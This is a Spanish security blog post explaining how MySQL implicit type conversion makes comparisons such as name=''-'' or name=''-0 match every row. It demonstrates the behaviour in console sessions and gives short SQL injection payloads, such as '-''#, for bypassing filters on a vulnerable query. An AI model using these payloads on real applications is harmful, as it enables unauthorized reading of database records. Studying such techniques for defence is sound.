Abusando de la conversión de tipos para pequeñas inyecciones en MySQL

Leyendo el blog de Koto (Krzysztof Kotowicz) encontré un pequeño truco que puede ayudarnos a explotar inyecciones SQL en bases de datos MySQL. Primero vamos a ver el comportamiento del RBDMS:

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)


¿Qué es lo que ha pasado? Vamos a investigar un poco:


mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)


El operador menos "-" utilizado en el string la convierte a DOUBLE, un valor numérico. ¿Cual es el resultado de esta sentencia?:

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+


Para cada registro la columna 'name' es comparada a 0, lo cual provoca otro tipo de conversión y, con un warning, el valor de cada uno de ellos es efectivamente 0, lo cual satisface la condición WHERE (0 = ''-'').

Ahora, ¿cómo podemos abusar de esta peculiaridad? Imagina que tienes un juego de caracteres limitado (por ejemplo, sin espacios en blanco, sin signo de igualdad, sin paréntesis, sin letras) o la longitud disponible es muy limitada. La query vulnerable es SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... y necesita devolver al menos algún valor, pero no conoces ninguno en la columna secret (la cual no es fácilmente enumerable). Un payload tan simple como '-''# convertirá la query a:

SELECT secret FROM table WHERE fld=''-''# AND .....

y devolverá todos los registros (a parte de los que coincidan con /^-?[0-9]/).

Además puedes usar el mismo truco con ''+'', ''&'',''^'' y ''*''. Ten en cuenta:

mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)


Otro truco sería comparar simplemente una columna de cadena con ''-0:

mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)


Todas estas sentencias SQL fueron probadas en MySQL 5.5 y 5.1, aunque debería funcionar en versiones anteriores también.

Y eso es todo amigos. Para más técnicas de inyección SQL te recomiendo la referencia de inyecciones SQL de Roberto Salgado. Me ayudó en numerosas ocasiones y es en mi opinión es una las mejores sobre SQLi que se han hecho nunca.

1 comentarios :